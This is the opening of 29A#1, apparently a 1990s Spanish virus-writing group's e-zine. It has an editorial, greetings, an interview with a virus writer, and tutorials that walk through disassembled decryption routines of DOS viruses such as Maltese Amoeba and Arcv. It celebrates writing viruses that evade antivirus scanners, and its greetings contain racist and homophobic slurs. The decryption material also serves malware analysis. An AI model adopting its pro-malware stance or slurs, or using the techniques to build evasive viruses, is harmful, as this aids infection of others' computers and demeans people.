You are on page 1of 320

Here we are :)

*************************************************************************>
Mister Sandman

At last you can read this... after a lot of time writing viruses and fai-
ling exams, we, 29A, a spanish virus writing group, released our first
zine. And no... as you can see, 29A ain't a myth as many people thought.

We were just a bit late, that was all. Everything was right until IRC su-
ddenly came into our lifes and sucked all the time we used to dedicate to
code viruses. Anyway, and as we're intelligent, we realised that we had
to get some more time to restart creating life, and that's why we haven't
slept for more than one month and we're known nowadays in the uni as the
biggest waggers around :)

Now we are part of the virus scene, which is continuously regenerated. In


the last times we could see how many groups appeared, merged or died.
Thus, Qark and Quantum are retired and enjoying life, SVL broke up due to
some legal problems in Slovakia, Immortal Riot and Genesis merged and are
gonna release their first issue by the next two weeks, Dark Conspiracy
disappeared but many of the members founded a new group, LT, which merged
with RSA, iKx released their first zine... as you can see, this doesn't
keep moving.

There's even a new group, Computa Gangsta, which have recently released
the first issue of their zine, DHC, and seem to want to follow the steps
of YAM... or even worse!

And believe me when i say that it's very hard to face the cruel reality
and try to keep oneself's zine cool, or at least not lame :) Especially
when we speak about the first release, which is usually the most easily
criticisable (or however you spell that word) :)

About this first issue itself, we hope that you like it and even find it
interesting. Some of us (included me) didn't have the time to finish our
babies as we would like to, because we decided to meet on November 30th
and release the zine asap, so we had to hurry up some projects.

Finally, and as there were some problems we didn't count with, we had to
make one MORE delay, till we finally could release it on december 13th...
friday 13th, btw ;)

In this issue we included some tutorials (polymorphism, macro viruses...)


viral techniques (how to disable certain AVs, new install checks...), vi-
rus disassemblies (Zhengxi, V.6000...), and viruses written by us, of
course :) Have a look at the virus index, because some of them are really
interesting and/or innovate new techniques never used before.

Btw... remember we're spanish and our english skills suck a little, so
we (Mr. White and me, who are the ones who translated the articles) are
sorry about any language error you can find in this zine :)

As a last thing, and for you to know better who we are, here's the mem-
ber list, with our nicks and IRC nicks; these nicks were placed in alpha-
betical order, besides mine (bosses first) :P

Normal nick IRC nick Internet address


*********** ******** ****************
Mister Sandman............... MrSandman........... mrsandman@cryogen.com
An¡bal Lecter................ A_Lecter............... lecter@cryogen.com
AVV.......................... avv....................... avv@cryogen.com
Blade Runner................. blade............ blade_runner@cryogen.com
Gordon Shumway............... Shumway............... shumway@cryogen.com
Griyo........................ Griyo................... griyo@cryogen.com
Leugim San................... LeugimSan.......... leugim_san@cryogen.com
Mr. White.................... W666.................. mrwhite@cryogen.com
Tcp.......................... Tcp....................... tcp@cryogen.com
The Slug..................... The_Slug............. the_slug@cryogen.com
VirusBuster.................. VirusBust......... virusbuster@cryogen.com
Wintermute................... Winter............. wintermute@cryogen.com

Besides the new tricks implemented in our viruses, we don't make anything
special in this issue... we're saving some info for the next issue; in
fact, i've already written a 100% working encrypted resident PE infector
and a tutorial about Windows95, and Griyo, Tcp and i have almost finished
some superinteresting virus disassemblies... this is part of what 29A#2
will be, so don't miss it! ;)

Some words from The Slug: i'm afraid because of the little jumps my arti-
cle reader sometimes suffers, but the mouse support messed some of my co-
de... anyway, if you're using mouse, it will work ok. I'm sure that the
whole Windows community will thank this to me :)

And some words from Tcp: we won't write a help file about how to use this
file browser, because you ain't supposed to be so lame. Anyway, just note
three important things which differ from other browsers:

þ There's a '#' at the bottom of the menu bar; that's the 'hot corner'
which, being pressed with the mouse, activates the screen saver, which
is the payload of the LSD virus :)

þ When reading an article, you can use the mouse buttons for performing
every kind of moving inside the file and so on. You can even convert to
a file every UUencoded file inside an article since i wrote a UUdecoder
for the file browser :)

þ There's a secret menu in this magazine... try to guess the password and
get da freak! with a good debugger, it ain't so difficult ;)

Mister Sandman,
bring me a dream.
Distributors
*************************************************************************>
Mister Sandman

Hehe... this is our first release, don't expect too many distributors :)
By now we just have one, the spanish 29A headquarters; besides this, you
can download 29A from our homepage, from ftp.ilf.net/incoming, etc. :)

If you're interested on joining to the following distributor list, just


send an e-mail to mrsandman@cryogen.com.

Web site/Board name Address/Phone


*************************************************************************
29A homepage http://www.netforward.com/cryogen/?mrsandman
Wintermute's homepage http://www.netforward.com/cryogen/?wintermute
Dark Node (spanish hq) +34-86-511-495

Mister Sandman,
bring me a dream.
Greetings
*************************************************************************>
Mister Sandman

ae : never call me 'vestmanneyjar' ;)


b0z0 : still waiting for writing a novel for you... :)
CoKe : hey you, fuckin jetsetter :P
Daniel_F : hello 2 u (auto msg)
darkman : good luck with the new VLAD
DonDuck : if you wouldn't know so much about greek history... :)
forty : you know a funny thing by europeans?... little differences ;)
Galar : shalom, Galar-tical Galar :)
Gi0rgett0 : whadda mistaka to maka (your turn) ;)
Greenline : vreau sa merg la Romƒnia devreme! :)
H_Spirit : it would be nice to read Revelation again
halflife : i'd really like to see your ponytail :P
iiriv : yodel! :)
jtr : the greatest trader around, heh? ;)
kdkd-666 : blah :) i really miss bosco's crazy phrases
l- : will you bring us that thingy i asked you about? :)
Metabolis : ya still on VLAD? <g>
Methyl : you make Celine Dion feel a na-tuuu-ral wo-maaaaaaan :)
ODH : hi dillhole
PJesus : Depeche Mode are gays :]
Poltergst : thank you very much for THAT ;)
qark : we miss your code... be back, please! :)'''
QuantumG : hope you like the virus i dedicated to you
r- : Trebraruna rulez ;)
retch : make her complexion like peaches and cream
Rebyc : r(o)x(o)ring ASCII tit c(o)llecti(o)n ;)
rod : you really have a swastika tattooed in your gonads? :)
Sep-IRG : why don't we found Sarah Gordon's fan club? ;)
ShadSeek : ay, ay, ay, ay, que se me ha muerto el canario... ;)
singhr : hmmm... ermghhh... oh, shit, dunno what to tell you O:)
Skeeve242 : still stuck on 8... :)
tyzm : do you use condoms in your gay relationships? :P
WarBlaDE : go ahead with LT/RSA... best luck for you
wlfshmn : nahhhh... swedish vodka sux ;)
ww0rker : hey you, dogkiller :P

Our greetings go too to the people in #viruslatin (raiders, Ramthes, Or-


dos, Int13h...) and to all those friends who i forgot in the list above,
but i swear i ain't the responsable... it's kdkd's fault for not inclu-
ding their names in the bot :P

Of course, very big thanks for those who collaborated with the making of
this file browser... they worked a lot and i know they're worth :)

Tcp : file browser, screensaver, music player


The Slug : article reader with smooth scroll, data files
Tuk : cool 29A logo ;)
HeXeTeR : The VaW and NecronoiD coded the first issue intro
Mr. White : music recording
Others : AVV and Leugim San, who coded other file browsers :)

Mister Sandman,
bring me a dream.
Legal stuff
*************************************************************************>
Mister Sandman

Erhhhmm... well, i really hate doing this kinda things, but it's necessa-
ry anyway so... ok, let's suffer for a while and make my lawyers happy :)

Albeit most of our readers are supposed to have more than one virus and
to be even able to code viruses by theirselves so they ain't the typical
lamers who are looking for destructive code to fuck their school compu-
ters, we know that exists a risk to become famous <g> and fall in the
greasy hands of one of those gimps. Ok, i know that when you are looking
for a gun you don't steal one from a museum, but anyway, and due to our
morality, we have an internal rule which forbids any destructive code in-
cluded in our magazine.

We prefer to bet for originality and code for fun, so our viruses may be
useful for other people who are trying to learn... that's the key stone
of the code with educational purposes.

Once you have understood this, you may get outta this shit and start en-
joying the code... if you're one of those dickheads or antivirus pussies
who can't understand what i mean, just get the fuck out. Btw, i don't ha-
ve any lawyer ;)

Mister Sandman,
bring me a dream.
Interviews
*************************************************************************>
Mister Sandman

For this first issue i decided to interview a very good friend of mine,
b0z0, because he and his group released their first zine a few time ago,
and it's always interesting to know something more about the new talents
in the scene, so... here you have the interview:

29A> Ok, b0z0... this is the classic first question of almost every inter-
29A> view... tell me why did you choose your nick

humm... this is a difficult question :) well, really, i just selected it


the first time that i went on irc and then i continued to use it.

29A> When and with 'what' did you start computing?

i started when i was about 9. my first computer was a ZX Spectrum 16...


that were very cool days :) then i upgraded to Spectrum 48, to Spectrum +
and finally i got my first 8086. i used mainlt to play games and program a
little with basic.

29A> And when did you first know about a computer virus (first experience,
29A> with which virus(es), etc)?

i first encountered with viruses a little after my first experience on a


x86. i got a copy of some viruses (the aids trojan, some jerusalem
variants and some viennas) from a friend and started playing with them.
but honestly i haven't cared too much about viruses in that period, so i
leaved that diskettes soon in a box after a while :) at that time i was
spending all my days playing games or doing something like :) i started
"seriously" with viruses about one year ago, when i founded tons of cool
virus releated zines and programs around the internet. at that time i
really get caught by a great interest for viruses ;)

29A> In what computer languages can you code?

i am able to code in asm (80x86 and Z80), c, perl, pascal, basic, and
wordbasic (and the languages that derives from these, such as visual
basic...)

29A> Describe yourself (physically, morally... however... even sexually if


29A> you dare) :)

ok, i'll try :) i'm 17 and i pass about half a day wasting time at school
:) for the remaining half of the day i mainly use my computer. i like also
reading books (tech or science-fiction ones), i like a lot japanese
cartoons (expecially Hokuto Ken, Sailor Moon, Ranma 1/2) and heavy
metal and punk music (i need it when i code :) ).

29A> Ok, now about viruses... tell me which ones have you coded, and/or
29A> the ones you like most

well, i haven't coded a lot of viruses. until now i coded about 10


viruses, but only released to the public half of them. that viruses wasn't
very complicated or something, just quite simple viruses to learn coding
:) i think that i am just now starting to code cool viruses ;) you must
wait a little... ;)

anyway the one that i write i like most is Sailor.Mars. i was really
satisfacted when i saw that noone av scan it in any way thanx to its
"encryption" :) and definitely it has the biggest probability to stay in
the wild comparing with the others that i wrote.

29A> Btw, about your virus writing group... tell me something (its story,
29A> new projects, and so on)

so, the iKx isn't only a virus writing group :) it is a group of hackers,
phreakers and, of course, virus writers. the group born in the second half
of the 1995 when the dear old Psycodad decided to try to put up a group of
guys interested in this topics. the main idea was to excange interesting
information between the components of the group and of course also create
a public part for all the other interested guys outside our group. so we
started building our webpages and then, after about a year of activity, we
released the first issue of our zine, the xine.
definitely at the iKx we are having a lot of fun and try to learn as much
as possible ;)

29A> Which is/are your favourite virus(es)?

i don't really have a favourite virus. there are really many viruses that
are cool for a reason or another. if i must say some names then i'll say
Qark Ph33r and the One Half virus.

29A> Do you think the perfect virus exists or might be ever coded?

i don't know :) maybe... a EXE/COM/OVL/SYS/NE/PE/LE/BS/MBR/DOC infector,


multilayer poly, full stealth under dos and win, infects also packed
files, full OLE and net support, mid-file infection where possible, full
retailating, anti resident-av and so on :) but it would be a little too
big i think ;) anyway i don't think that there is really a "need" for a
perfect virus. every virus has it's cool features and of course it's
problems. but just look around. generally the viruses that are more
common in the wild are just the most simple ones. avers every day claims
that they can eliminate every new virus or catch it when it is executed.
and at the end also the most crap virus can fool every av. just look at
the Sailor.Jupiter. it is a quite crap boot sector, but it totally fools
all the most used resident and non resident antiviruses. fprot, virstop,
tbscan, avp, scan? hoho :)

29A> How will the 'viruses of the future' look in your opinion?

i think that the 'viruses of the future' will have support for spreading
over a network. there are plenty of this possibilities under win*.* that
can be implemented, and they *will* be implemented :)

29A> Ok, now let's have a look at the other side... AVs and AVers. Which
29A> is the AV you like most?

i really hate all the avers that have trasformed the a.c.v for trading
and pubblicizing their shit. as for the av products... i used to find cool
the tbav, but after a little of studies i founded that it isn't as cool as
i thought. so currently i consider that the more efficent is the avp. but
i don't like anyway a lot the avp because the scan strings are too
general and small. i must say that i like best the small freeware tools
developed by individuals researchers.

29A> Heh... one question is enough for those niggas ;) now about the virus
29A> scene... give me your point of view about it (old groups, new groups,
29A> who's cool, who sucks... you know) :)

the virus writing scene is, as usual, boring :) it isn't also cool to see
great groups to leave... but that's life. anyway in the last months i saw
also some new cool groups/individuals entering the virus scene. i hope it
will grow and that there would be many cool productions in the near future
;)

29A> Finally, just send a greet to someone, say something, sing, write a
29A> poem <g>, pull yourself :)... dunno, whatever you want. This is your
29A> free space :)

ok.... :) i won't sing, i assure it is better for your readers ;) anyway


i would like to send big greetings to the entire staff at the iKx,
expecially to Psycodad that had the great idea to start with this project,
to JHB that invited me to became a member of the iKx and to Kernel Panic
that helped me many times. Of course big greets also to Giorgetto and
Phoenix. Then also greets to Dandler, kdkd, Galar, l-, Metabolis, Qark,
Methyl, Rebyc, Omega, Mindmaniac and all the other guys at #virus or
generally to all virus releated ppl :)

Mister Sandman,
bring me a dream.
Life in Saturn!
*************************************************************************>
Mister Sandman

This is a stupid but pretty funny new... for those who think that compu-
ter viruses are living organisms, i'll tell that there will be life in
Titan, the biggest moon of Saturn, from october 1997.

No, i ain't drunk... if you don't believe it, just pay attention and read
carefully: on october 1997 the spacelead 'Huygens', a project of several
european countries, will land in the surface of Titan, the biggest moon
in Saturn, in order to seek the start of human life <g>.

Inside of this spacelead there will be a CD in which lots of people can


write, from a few days ago, their name and a text they want. And as the
available room for writing this text is big enough for holding a virus, i
decided to send one, so it will be world's ever first virus to reach a-
nother planet :)

You can either write the source code, the hex dump, or the binary code of
a virus... there's a lot of room out there! :) I'll include the source
of 'Saturn!', the virus i sent to Titan, in 29A#2, which will be released
according to my calculations, in a near date to the landing of the space-
lead :) it will be the first, but you can collaborate writing new babies
and sending them out, so we will INVADE Saturn!!! :)

All it takes is connecting to Huygen's web page and doing a cut&paste of


your virus in the message gap... the address of this web page for english
speakers is http://www.huygens.com/sign/anglais/sign.htm ;)

Mister Sandman,
bring me a dream.
Encryption: theory
*************************************************************************>
VirusBuster

As an introduction to Blade Runner's decryption practices, and for those


of you whose knowledge isn't just that advanced, we'll describe brielfy
the grounds of encryption.

1. Very basic introduction


**************************

First viruses ever had their code very visible. They didn't use encryp-
tion techniques, neither did they use polymorphic routines in order to
variate their code. All the code was nude, without any kind of "trick"
which could stop others from disassembling them.

Nevertheless, someday, someone (one of the first encrypted viruses was


Alexander.1951, from Romania) had the briliiant idea of "hiding" his code
from people's curious eyes, and invented something called "encryption".

With this technique, we were able to change whatever portion of code we


wanted, so when someone else tried to disassemble that code, would get
a bunch of garbage instead of "readable" code.

2. Theory
*********

There are several different encryption levels. Some of them use a simple
operation such as OR, XOR, ..., and there are other ones that combine ma-
ny ORs, XORs, NOTs,... etc.

An encrypted virus has the following execution structure:

+ It may have a jmp to the virus code (eg Maltese Amoeba) or it may have
the viral code at the begining of the file (Jerusalem).
+ Decryption routine.
+ Virus code.
+ Jump to the infected file's code.

The decryption routine consists of a series of instructions that turn en-


crypted code into real instructions. In order to do this, several logical
operations (ie OR, XOR,...) are performed on the encrypted bytes.

It is not our duty here to explain how en/decryption routines work, the-
refore i'll explain the different methods of decrypting a virus and how
to identify a yet encrypted one.

3. Decryption methods
*********************

Overall i must advise experience gives it all. The more viruses you de-
crypt, the better your bets will be towards fucking this new virus we've
just discovered.

Some viruses decrypt themselves from top to bottom. I mean, they start
decrypting at cs:0130 and continue downwards (cs:0132, cs:0135...). I say
from top to bottom but it really goes from the lowest position to the hi-
gher ones :)

Some other viruses decrypt themselves from the bottom to the top. I mean
from the highest position to the lower ones (cs:4567, cs:4563... cs:0116)

Classic decryption formulas are:

cs:0100 decrypted code


.
.
.
cs:0115 xor dl,5e
.
.
.
cs:0124 cmp ax,0
cs:0127 je 13d
cs:012a jmp cs:0115
cs:012d encrypted code

Btw, I don't pretend the adresses to be the real ones :)

Well, we can see in cs:0115 a logical operation being performed, and then
in cs:0124 a comparison being done, and depending on the result, it will
go in each direction. In the above example AX is compared to 0 (being
true when all bytes have been decrypted). This is a typical structure in
encrypted viruses. When we reach a value, we jump to the next instruction
after the jmp that would execute the decryption routine once again.

What must we do to decrpyt this possible virus? nothing more than trace
the code till you reach cs:012d, as this is the point where code is al-
ready decrypted.

I leave to you the way to save decrypted code to disk so as to look it


with a bit more of calm.

Debug users may write with "w cs:0100 0 40 4" (which would save code from
cs:0100 to cs:0900 in drive A, at sector 40h (64d), and would save 4 512-
byte sectors which would make up to cs:0900), or either overwriting di-
rectly the encrypted file, stating its length at CX and performing a disk
write (w).

If you use Turbo Debugger, strike Tab till you are at the "dump" window.
Once there, press alt+f10, select "Block" and then "Write", where you'll
change the file name, the adress and the number of bytes to write.

For AVPUtil users, press alt+w and specify the file name and the number
of bytes to write in that file.

Returning to the structures, we can find the "loop" one:

cs:0100 decrypted code


.
.
cs:0114 or al,al
.
.
cs:0140 loop 114
cs:0142 encrypted code

In this case it would be enough to let the loop decrypt the virus. There
are a few variants but the base is the same:
cs:0100 decrypted code
.
.
cs:0116 stuff
.
.
cs:0150 jmp to stuff
cs:0156 decrypted code

What we must do is reach the instruction after jmp to stuff, coz while
it continues to jump upwardly it's decrypting.

In viruses which get decrpyted from top to bottom, this is easily done.
You let it perform a couple jumps and then breakpoint the instruction af-
ter the jmp. Then you only have to let it run. As soon as the code is de-
crypted, we'll get the control back.

There may be more problems if we're to use DOS's debug when working on a
top-to-bottom decrpyting virus. Why? well, the next instruction to the
jump will remain encrypted till the end, and it would be difficult to set
a breakpoint after just two jumps.

Then we may:

1) Use Borland's (TD) or AVP's debugger.


2) Being patient and do it manually.
3) Move the decryption routine and something more to another segment, get
onto that segment, breakpoint the instruction after the jump and then
run the virus.

To do this last step:

-mcs:0100 400 3000:01009


-rcs 3000

I think with all of this it's ok. Well, and still remain all those virii
that hang off int 1 or int 3 and don't let us debug them. In this case, i
usually run the virus and note down int 21h's vector, writing to disk the
virus length. Another solution is to patch int 21h where the virus gets
to hang from int 1 or int 3 with a couple of nops.

4. Examples
***********

Here you have Maltese Amoeba virus (one of its variants) when encrypted:

0c39:000a pushf
0c39:000b nop
0c39:000c nop
0c39:000d push ax
0c39:000e push bx
0c39:000f jmp 0011
0c39:0011 xchg cx,ax
0c39:0012 xchg cx,ax
0c39:0013 mov ah,ah
0c39:0015 push ds
0c39:0016 cmc
0c39:0017 push es
0c39:0018 clc
0c39:0019 push cs
0c39:001a pop es
0c39:001b cld
0c39:001c stc
0c39:001d push cs
0c39:001e pop ds
0c39:001f mov al,al
0c39:0021 mov cx,cx
0c39:0023 sahf
0c39:0024 cld
0c39:0025 mov di,004f
0c39:0028 mov dl,dl
0c39:002a mov cx,04a6
0c39:002d mov si,di
0c39:002f mov ax,ax
0c39:0031 mov bx,bx
0c39:0033 lodsw
0c39:0034 xor ax,a451
0c39:0037 clc
0c39:0038 jmp 003a
0c39:003a stosw
0c39:003b loop 0033
^^^^

Here you have the famous jump that returns to the above adresses.

0c39:003d cli
0c39:003e pop ax
0c39:003f xchg cx,ax
0c39:0040 xchg cx,ax
0c39:0041 mov ah,ah
0c39:0043 add [01c3],ax
0c39:0047 cld
0c39:0048 mov al,al
0c39:004a add [0086],ax
0c39:004e nop
0c39:004f stosw
0c39:0050 db 69
0c39:0051 dec bp
0c39:0052 das
0c39:0053 mov bp,172f
0c39:0056 pop ax
0c39:0057 fistp qword ptr [si-26]
0c39:005a repnz
0c39:005b stosw
0c39:005C imul cl
0c39:005E mov dl,7a
0c39:0060 sbb ax,a212
0c39:0063 pushf
0c39:0064 test bp,[si-59]
0c39:0067 inc di

And once decrypted:

[...]
0c39:0034 xor ax,a451
0c39:0037 clc
0c39:0038 jmp 003a
0c39:003a stosw
0c39:003b loop 0033
0c39:003d cli
0c39:003e pop ax
0c39:003f xchg cx,ax
0c39:0040 xchg cx,ax
0c39:0041 mov ah,ah
0c39:0043 add [01c3],ax
0c39:0047 cld
0c39:0048 mov al,al
0c39:004a add [0086],ax
0c39:004e nop
0c39:004f cli
0c39:0050 int 1c
0c39:0052 mov bp,sp
0c39:0054 mov ax,[bp-04]
0c39:0057 mov ds,ax
0c39:0059 mov dx,[bp-06]
0c39:005c push dx

Just trace into every call you find, and don't forget to take care of
your HD... it might be a YAM virus ;)

* VirusBuster *
Encryption: practice
*************************************************************************>
Blade Runner

This will be a fix section in 29A in which we'll see many of the weirdest
decryption routines, and the way to use them so as to decrypt its owners.

In this first issue i'll center on easy viruses with no antidebugging, so


that people who've just started may understand everything easily. In fur-
ther issues i'll include more difficult viruses, and then this will get
pretty interesting ;-)

²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²
²² 1.-VIRUS:ABR-1171.COM infected by PS-MPC.c virus ²²±±
²² 2.-VIRUS:AC-255.COM infected by Arcv.Made.225 virus ²²±±
²² 3.-VIRUS:AC-330.COM infected by Arcv.330 virus ²²±±
²² 4.-VIRUS:AC-839.COM infected by Arcv.Friends virus ²²±±
²² 5.-VIRUS:AC-916.COM infected by Arcv.Joanna {1} virus ²²±±
²² 6.-VIRUS:ANTIMIT.COM infected by Anti-Mit virus ²²±±
²² 7.-VIRUS:ARARA.COM infected by Arara virus ²²±±
²² 8.-VIRUS:ATOMANT.COM the ATOMANT.UNK1 virus or variant ²²±±
²² 9.-VIRUS:AUS-369B.COM Found the AUSSIE.PARASITE.369 ²²±±
²² 10.-VIRUS:BETA0575.COM infected by Beta_Boys virus ²²±±
²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²±±
±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±

²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²
³³³³³ 1 VIRUS:ABR-1171.COM infected by PS-MPC.c virus ³³³³³
²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²

**********************************************************************
c No checksum / recovery information (Anti-Vir.Dat) available.
F Suspicious file access. Might be able to infect a file.
S Contains a routine to search for executable (.COM or .EXE) files.
# Found a code decryption routine or debugger trap. This is common
for viruses but also for some copy-protected software.
O Found code that can be used to overwrite/move a program in memory.
B Back to entry point. Contains code to re-start the program after
modifications at the entry-point are made. Very usual for viruses.
T Incorrect timestamp. Some viruses use this to mark infected files.
*********************************************************************

Let's disassemble the virus; i personally use DOS's debug for this kinda
jobs, but use whatever debugger you like.

-u100
14CF:0100 E99004 JMP 0593 ; Jumpt to the address 593h
14CF:0103 3F AAS ; The rest of the code, as you
14CF:0104 95 XCHG BP,AX ; can see, is encrypted and has
14CF:0105 D7 XLAT ; no sense at all %-)
14CF:0106 29A6C13F SUB [BP+3FC1],SP
14CF:010A 8FD7 POP DI
14CF:010C 29A2C13F SUB [BP+SI+3FC1],SP
14CF:0110 16 PUSH SS
14CF:0111 D7 XLAT
14CF:0112 7F6E JG 0182

Now we go to address 593h and find rest of the decrypted code:

-u593
14CF:0593 BE0001 MOV SI,0100 ; 100h address of actual jmp 593h
14CF:0596 56 PUSH SI ; Save SI
14CF:0597 B94A02 MOV CX,024A ; Number of bytes to decrypt
14CF:059A C70429D8 MOV WORD PTR [SI],D829 ; d829 at 100h
14CF:059E C64402C1 MOV BYTE PTR [SI+02],C1 ; c1h at 102h
14CF:05A2 8134C1D7 XOR WORD PTR [SI],D7C1 ; d7c1h at SI. If we look
; at 100h we'll find a
; call c212h

If we now look at the header being decrpyted, we find that at address


100h, instead of a jmp 593h there's this instruction: call c212h.

-u100
14CF:0100 E80FC1 CALL C212 ; 100h address right now
14CF:0103 3F AAS

We continue decrpyting...

14CF:05A6 46 INC SI ; Increase SI, we get 101h


14CF:05A7 46 INC SI ; Increase SI, we get 102h
14CF:05A8 E2F8 LOOP 05A2 ; We decrpyt 24ah bytes which in CX
14CF:05AA 31F6 XOR SI,SI; Get a 0 at SI
14CF:05AC 31C9 XOR CX,CX; Get a 0 at CX
14CF:05AE C3 RET
14CF:05AF 0000 ADD [BX+SI],AL

And we finally have the decrypted virus and look into it; this decryption
method is not difficult; it's just tracing the code as we have no anti-
debugging catch.

The disassembled code starting at 100h looks like this after decrypted;
look at the original 100h and this one to see that the virus is ready for
execution.

-u100
14CF:0100 E80F00 CALL 0112
14CF:0103 E85400 CALL 015A
14CF:0106 E87100 CALL 017A
14CF:0109 E84E00 CALL 015A
14CF:010C E87500 CALL 0184
14CF:010F E8D700 CALL 01E9
14CF:0112 BEB904 MOV SI,04B9
14CF:0115 8B1C MOV BX,[SI]
14CF:0117 0BDB OR BX,BX
14CF:0119 743E JZ 0159
14CF:011B B8DD34 MOV AX,34DD
14CF:011E BA1200 MOV DX,0012

²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²
³³³³³ 2 VIRUS: AC-255.COM infected by Arcv.Made.225 virus ³³³³³
²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²

*********************************************************************
c No checksum / recovery information (Anti-Vir.Dat) available.
# Found a code decryption routine or debugger trap. This is common
for viruses but also for some copy-protected software.
*********************************************************************

-u100
14CF:0100 E90500 JMP 0108 ; Let's jump to 108h
14CF:0103 CD20 INT 20
14CF:0105 90 NOP
14CF:0106 0909 OR [BX+DI],CX
14CF:0108 E80000 CALL 010B ; 10bh -> next instruction

-u
14CF:0118 53 PUSH BX ; We save BX
14CF:0119 8D9C4801 LEA BX,[SI+0148] ; At BX, data at SI+148h
14CF:011D 8B941601 MOV DX,[SI+0116] ; Same to DX
14CF:0121 B9BC00 MOV CX,00BC ; Number of bytes to decrypt
14CF:0124 8B07 MOV AX,[BX]
14CF:0126 33C2 XOR AX,DX ; Calculates AX respect of DX
14CF:0128 86E0 XCHG AH,AL ; XCHanGe AL with AH
14CF:012A 33C2 XOR AX,DX ; Calculates AX respect of DX
14CF:012C 86E0 XCHG AH,AL ; XCHanGe AL with AH
14CF:012E 8907 MOV [BX],AX ; We save AX at BX
14CF:0130 83C302 ADD BX,+02 ; And add 2 to it
14CF:0133 E2EF LOOP 0124 ; Decrypting...
14CF:0135 5B POP BX
14CF:0136 C3 RET
14CF:0137 E8DEFF CALL 0118

Text that appears after decrypting virus at 1e0h:

14CF:01E0 CD 21 B4 3E CD 21 FF E5-B4 3F CD 21 C3 4D 61 64 .!.>.!...?.!.Mad


14CF:01F0 65 20 69 6E 20 45 6E 67-6C 61 6E 64 00 00 2A 2E e in England..*.

²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²
³³³³³ 3 VIRUS:AC-330.COM infected by Arcv.330 virus ³³³³³
²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²

*********************************************************************
c No checksum / recovery information (Anti-Vir.Dat) available.
F Suspicious file access. Might be able to infect a file.
S Contains a routine to search for executable (.COM or .EXE) files.
# Found a code decryption routine or debugger trap. This is common
for viruses but also for some copy-protected software.
E Flexible Entry-point. The code seems to be designed to be linked
on any location within an executable file. Common for viruses.
J Suspicious jump construct. Entry point via chained or indirect
jumps. This is unusual for normal software but common for viruses.
B Back to entry point. Contains code to re-start the program after
modifications at the entry-point are made. Very usual for viruses.
*********************************************************************

14CF:0100 E90200 JMP 0105 ; Jump to 105h

-u105
14CF:0105 E81301 CALL 021B ; Call to address 21bh
14CF:0108 E57B IN AX,7B; Give a look to this address (108h)
14CF:010A 9C PUSHF

-u21b
14CF:021B E80000 CALL 021E ; Trace the call
14CF:021E B91301 MOV CX,0113 ; Length = 113h bytes
14CF:0221 5E POP SI ; Pop the delta offset into SI
14CF:0222 81EE2102 SUB SI,0221 ; SUBstract 221h from SI
14CF:0226 8DBC0B01 LEA DI,[SI+010B]; We read address SI+10bh
14CF:022A 803551 XOR BYTE PTR [DI],51 ; Calculate calue at
14CF:022D 47 INC DI ; address 108h, what
14CF:022E E2FA LOOP 022A ; <*¿ leaves 'B4' at that address
14CF:0230 C3 RET ; <***¿ À* Dencrypting
À** Return to 108h

-u108
14CF:0108 B42A MOV AH,2A ; Decrypted 108h
14CF:010A CD21 INT 21
14CF:010C 80FE07 CMP DH,07

²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²
³³³³³ 4 VIRUS:AC-839.COM infected by Arcv.Friends virus ³³³³³
²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²

*********************************************************************
c No checksum / recovery information (Anti-Vir.Dat) available.
# Found a code decryption routine or debugger trap. This is common
for viruses but also for some copy-protected software.
E Flexible Entry-point. The code seems to be designed to be linked
on any location within an executable file. Common for viruses.
*********************************************************************

Warning: this virus features two decryption routines...

14CF:0100 E9FD01 JMP 0300 ; jmp to address 300h


14CF:0103 CD20 INT 20

-u300
14CF:0300 E81403 CALL 0617 ; Call address 617h
14CF:0303 E0EE LOOPNZ 02F3 ; Remember instruction at 303h
14CF:0305 0AF3 OR DH,BL ; still encrypted
14CF:0307 0818 OR [BX+SI],BL
14CF:0309 D0C1 ROL CL,1

-u617
14CF:0617 E80400 CALL 061E ; Another call... to 61eh...
14CF:061A 0100 ADD [BX+SI],AX
14CF:061C DDFF ESC 2F,DI

-u61e
14CF:061E 5B POP BX ; POP BX out of the stack
14CF:061F 81EB7816 SUB BX,1678 ; SUBstract 1678h bytes
14CF:0623 81C33012 ADD BX,1230 ; We ADD to BX 1230h bytes
14CF:0627 53 PUSH BX ; And save BX in the stack
14CF:0628 5F POP DI ; POP BX into DI
14CF:0629 B94515 MOV CX,1545 ; Get 1545h bytes into CX
14CF:062C 81E93112 SUB CX,1231 ; SUBstract 1231h to CX
14CF:0630 80B5310108 XOR BYTE PTR [DI+0131],08
; After running the xor
; we're left with [303h]
; being e8 ee (call df4h)
14CF:0635 47 INC DI ; INCrease DI in 1
14CF:0636 B20F MOV DL,0F ; MOVe 0fh to dl
14CF:0638 E2F6 LOOP 0630 ; Decrypt a block
14CF:063A 90 NOP ; at address 303h
14CF:063B 90 NOP
14CF:063C 90 NOP
14CF:063D 90 NOP
14CF:063E C3 RET ; Return to 303h...
[...]
14CF:0303 E8E602 CALL 05EC ; CALL to 5ech

-u5ec
14CF:05EC E80000 CALL 05EF ; Second decrypting routine
14CF:05EF 5E POP SI ; Restore SI
14CF:05F0 81EE1E04 SUB SI,041E ; SUBstract 41eh from SI
14CF:05F4 8DBC3501 LEA DI,[SI+0135] ; Let's take address SI+135h
14CF:05F8 B9E602 MOV CX,02E6 ; CX=length to be decrypted.
